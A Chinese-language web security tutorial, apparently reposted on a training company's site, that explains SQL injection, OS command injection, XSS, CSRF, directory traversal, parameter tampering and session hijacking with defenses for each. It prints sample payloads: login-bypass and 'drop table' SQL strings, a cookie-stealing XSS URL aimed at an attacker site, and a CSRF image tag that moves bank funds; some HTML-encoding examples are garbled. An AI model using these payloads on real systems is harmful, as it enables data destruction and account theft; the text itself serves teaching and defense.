For investors
股價:
5.36 美元 %For investors
股價:
5.36 美元 %認真做教育 專心促就業(yè)
所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行惡意的SQL命令。
通過一下的例子更形象的了解SQL注入:
有一個Login畫面,在這個Login畫面上有兩個文本框分別用來輸入用戶名和密碼,當用戶點了登錄按鈕的時候,會對輸入的用戶名和密碼進行驗證。驗證的SQL語句如下:
select * from student where username='輸入的用戶名' and password='輸入的密碼'
如果能夠檢索到數(shù)據(jù),說明驗證通過,否則驗證不通過。
如果用戶在用戶名文本框中輸入 ' or '1' = '1' or '1' = '1,則驗證的SQL語句變成:
select * from student where username='' or '1' = '1' or '1' = '1' and password=''
如果用戶在密碼文本框中輸入 1' or '1' = '1,則驗證的SQL語句變成:
select * from student where username='' and password='1' or '1'='1'
以上兩個SQL語句的where條件永遠是成立的,所以驗證永遠是有效的。
如果在用戶名文本框中輸入 tom' ; drop table student-- ,則SQL語句變成:
[sql] view plaincopyprint?
1. select * from student where username='tom' ; drop table student--' and password=''
這樣就變成的兩條SQL語句,執(zhí)行完查詢操作,接著直接把student表給刪除了(雙連接符表示注釋)
如何防止SQL注入:
1. 永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙"-"進行轉(zhuǎn)換等。
2. 永遠不要使用動態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲過程進行數(shù)據(jù)查詢存取
3. 永遠不要使用管理員權(quán)限的數(shù)據(jù)庫連接,為每個應用使用單獨的權(quán)限有限的數(shù)據(jù)庫連接
4. 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息
5. 應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
6. 采用一些工具或網(wǎng)絡平臺檢測是否存在SQL注入
OS命令注入
OS命令注入和SQL注入差不多,只不過SQL注入是針對數(shù)據(jù)庫的,而OS命令注入是針對操作系統(tǒng)的。OS命令注入即能夠在服務器上執(zhí)行任意命令。
如何防止OS命令注入:
1. 不要調(diào)用外部程序。舉個例子,在UNIX系統(tǒng)上,有一個叫CGI的程序,可以執(zhí)行sendmail命令來發(fā)送郵件。也許你的web應用程序也有發(fā)送郵件的功能,通過直接調(diào)用CGI程序發(fā)送郵件非常的簡單,但是不要這樣做,因為在執(zhí)行sendmail命令的同時,也會混雜進其他OS命令,正確的做法是使用發(fā)送郵件的library。
2. 過濾調(diào) 、; ,[ ,] ,| ,< ,> ,\ 之類的符號
3. 設置用戶的權(quán)限
XSS跨站腳本攻擊
XSS跨站腳本攻擊指攻擊者在網(wǎng)頁中嵌入客戶端腳本(例如JavaScript),當用戶瀏覽此網(wǎng)頁時,腳本就會在用戶的瀏覽器上執(zhí)行,從而達到攻擊者的目的,比如獲取用戶的Cookie,導航到惡意網(wǎng)站,攜帶木馬等。
XSS攻擊場景有以下兩個方面:
1. Dom-Based XSS 漏洞。攻擊過程如下
Tom 發(fā)現(xiàn)了#中的Search.asp頁面有XSS漏洞,Search.asp的代碼如下:
1. <html>
2. <title></title>
3. <body>
4. Results for <%Reequest.QueryString("term")%>
5. ...
6. </body>
7. </html>
Tom 先建立一個網(wǎng)站#,用來接收“偷”來的信息。然后Tom 構(gòu)造一個惡意的url(如下),通過某種方式(郵件,QQ)發(fā)給Monica
#/search.asp?term=<script>window.open("#?cookie="+document.cookie)</script>
Monica點擊了這個URL,嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執(zhí)行,那么Monica在#網(wǎng)站的cookie,就會被發(fā)送到badguy網(wǎng)站中,這樣Monica在# 的信息就被Tom盜了
2. Stored XSS(存儲式XSS漏洞)。該類型是應用廣泛而且有可能影響大Web服務器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務器上,使得所有訪問該頁面的用戶都面臨信息泄露的可能。
攻擊過程如下
Alex發(fā)現(xiàn)了網(wǎng)站A上有一個XSS 漏洞,該漏洞允許將攻擊代碼保存在數(shù)據(jù)庫中,于是Alex發(fā)布了一篇文章,文章中嵌入了惡意JavaScript代碼。其他人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執(zhí)行,其會話cookie或者其他信息將被Alex盜走。
Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶。
如何防止XSS跨站腳本攻擊:
原則:不相信用戶輸入的數(shù)據(jù)
注意:攻擊代碼不一定在<script></script>中
1. 將重要的cookie標記為http only,這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了
2. 只允許用戶輸入我們期望的數(shù)據(jù)。例如:年齡的textbox中,只允許用戶輸入數(shù)字,而數(shù)字之外的字符都過濾掉
3. 對數(shù)據(jù)進行Html Encode 處理。< 轉(zhuǎn)化為 <、> 轉(zhuǎn)化為 >、& 轉(zhuǎn)化為 &、' 轉(zhuǎn)化為 '、" 轉(zhuǎn)化為 "、空格 轉(zhuǎn)化為
4. 過濾或移除特殊的Html標簽。例如:<script>、<iframe>、< for <、> for >、" for
5. 過濾JavaScript 事件的標簽。例如 "onclick="、"onfocus" 等等
很多瀏覽器都加入了安全機制來過濾XSS(如下圖,在ie中輸入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>)
CSRF跨站請求偽造
CSRF(XSRF)盡管聽起來很想XSS跨站腳本攻擊,但是它于XSS完全不同。XSS是利用站點內(nèi)的信任用戶,而CSRF則是通過偽裝來自受信任用戶的請求來利用受信任的站點。
與XSS相比,CSRF攻擊不大流行和難以防范,所以比XSS更具危險性。
以下是一個CSRF的例子
受害者 Bob 在銀行有一筆存款,通過對銀行的網(wǎng)站發(fā)送請求#/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款轉(zhuǎn)到 bob2 的賬號下。通常情況下,該請求發(fā)送到網(wǎng)站后,服務器會先驗證該請求是否來自一個合法的 session,并且該 session 的用戶 Bob 已經(jīng)成功登陸。
黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進行轉(zhuǎn)帳操作。Mallory 可以自己發(fā)送一個請求給銀行:#/withdraw?account=bob& amount=1000000&for=Mallory。但是這個請求來自 Mallory 而非 Bob,他不能通過安全認證,因此該請求不會起作用。
這時,Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個網(wǎng)站,在網(wǎng)站中放入如下代碼:<img src=”#/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通過廣告等誘使 Bob 來訪問他的網(wǎng)站。當 Bob 訪問該網(wǎng)站時,上述 url 就會從 Bob 的瀏覽器發(fā)向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發(fā)向銀行服務器。大多數(shù)情況下,該請求會失敗,因為他要求 Bob 的認證信息。
但是,如果 Bob 當時恰巧剛訪問他的銀行后不久,他的瀏覽器與銀行網(wǎng)站之間的 session 尚未過期,瀏覽器的 cookie 之中含有 Bob 的認證信息。這時,悲劇發(fā)生了,這個 url 請求就會得到響應,錢將從 Bob 的賬號轉(zhuǎn)移到 Mallory 的賬號,而 Bob 當時毫不知情。等以后 Bob 發(fā)現(xiàn)賬戶錢少了,即使他去銀行查詢?nèi)罩?,他也只能發(fā)現(xiàn)確實有一個來自于他本人的合法請求轉(zhuǎn)移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢后逍遙法外。
如何防止CSRF跨站請求偽造:
1. 對于web站點,將持久化的授權(quán)方法(例如cookie或者HTTP授權(quán))切換為瞬時的授權(quán)方法(在每個form中提供隱藏field)。
2. “雙提交”cookie。此方法只工作于Ajax請求,但它能夠作為無需改變大量form的全局修正方法。如果某個授權(quán)的cookie在form post之前正被JavaScript代碼讀取,那么限制跨域規(guī)則將被應用。什么叫限制跨域規(guī)則呢?限制跨域規(guī)則就是:如果服務器需要在Post請求體或者URL中包含授權(quán)cookie的請求,那么這個請求必須來自于受信任的域,因為其它域是不能從信任域讀取cookie的。上面那個例子的受信任域就是銀行網(wǎng)站的某個域,而Mallory發(fā)給Bob的鏈接不是受信任的域。
3. 使用Post代替Get。Post方式不會在web服務器和代理服務器日志中留下數(shù)據(jù)尾巴,然而Get方式卻會留下數(shù)據(jù)尾巴。
4. 以上三點都是正對web站點的防御手段,第4點是從用戶的角度的防御手段。通過在瀏覽其它站點前登出站點或者在瀏覽器會話結(jié)束后清理瀏覽器的cookie來防止CSRF攻擊。
目錄遍歷漏洞
目錄遍歷漏洞在國內(nèi)外有不同的叫法(信息泄露漏洞、非授權(quán)文件包含漏洞、等等)。目錄遍歷漏洞就是在程序中沒有過濾用戶輸入的../和./之類的目錄跳轉(zhuǎn)符,導致惡意用戶可以通過提交目錄跳轉(zhuǎn)來遍歷服務器上的任意文件,其危害可想而知。
如何防止目錄遍歷漏洞:
1. 權(quán)限控制
2. 對包含了惡意的符號或者空字節(jié)進行拒絕
3. 使用絕對路徑+參數(shù)來控制訪問目錄,使其即使是越權(quán)或者跨越目錄也是在指定的目錄下
參數(shù)篡改
參數(shù)值竄改是網(wǎng)絡攻擊的一種形式,其中在URL中的某些參數(shù)或由用戶輸入的網(wǎng)頁形式領(lǐng)域數(shù)據(jù)都在沒有得到用戶授權(quán)的情況下改變了。這導致瀏覽器指向一個不是用戶想去的鏈接、網(wǎng)頁或網(wǎng)站(盡管對隨機觀測者來說它們看上去幾乎一樣)。參數(shù)值篡改被犯罪者用來獲取個人或商業(yè)信息。
如何防止參數(shù)篡改:
1. 對所有參數(shù)值進行驗證
2. 根據(jù)session id進行遷移,參數(shù)使用服務器端的值
會話劫持
會話劫持就是在一次正常的會話過程當中,攻擊者作為第三方參與到其中,他可以在正常數(shù)據(jù)包中插入惡意數(shù)據(jù),也可以在雙方的會話當中進行監(jiān)聽,甚至可以是代替某一方主機接管會話。
我們可以把會話劫持攻擊分為兩種類型:
1)中間人攻擊(Man In The Middle,簡稱MITM)
2)注射式攻擊(Injection)
中間人攻擊:簡而言之,所謂的MITM攻擊就是通過攔截正常的網(wǎng)絡通信數(shù)據(jù),并進行數(shù)據(jù)篡改和嗅探,而通信的雙方卻毫不知情
注射式攻擊:這種方式的會話劫持比中間人攻擊實現(xiàn)起來簡單一些,它不會改變會話雙方的通訊流,而是在雙方正常的通訊流插入惡意數(shù)據(jù)
還可以把會話劫持攻擊分為兩種形式:1)被動劫持,2)主動劫持
被動劫持:在后臺監(jiān)視雙方會話的數(shù)據(jù)流,叢中獲得敏感數(shù)據(jù)
主動劫持:將會話當中的某一臺主機“踢”下線,然后由攻擊者取代并接管會話,這種攻擊方法危害非常大,攻擊者可以做很多事情
如何防止會話劫持:
1. 限制入網(wǎng)的連接
2. 設置你的網(wǎng)絡拒絕假冒本地地址從互聯(lián)網(wǎng)上發(fā)來的數(shù)據(jù)包
3. 加密也是有幫助的。FTP和Telnet協(xié)議是最容易受到攻擊的。SSH是一種很好的替代方法
【免責聲明】本文部分系轉(zhuǎn)載,轉(zhuǎn)載目的在于傳遞更多信息,并不代表本網(wǎng)贊同其觀點和對其真實性負責。如涉及作品內(nèi)容、版權(quán)和其它問題,請在30日內(nèi)與聯(lián)系我們,我們會予以更改或刪除相關(guān)文章,以保證您的權(quán)益!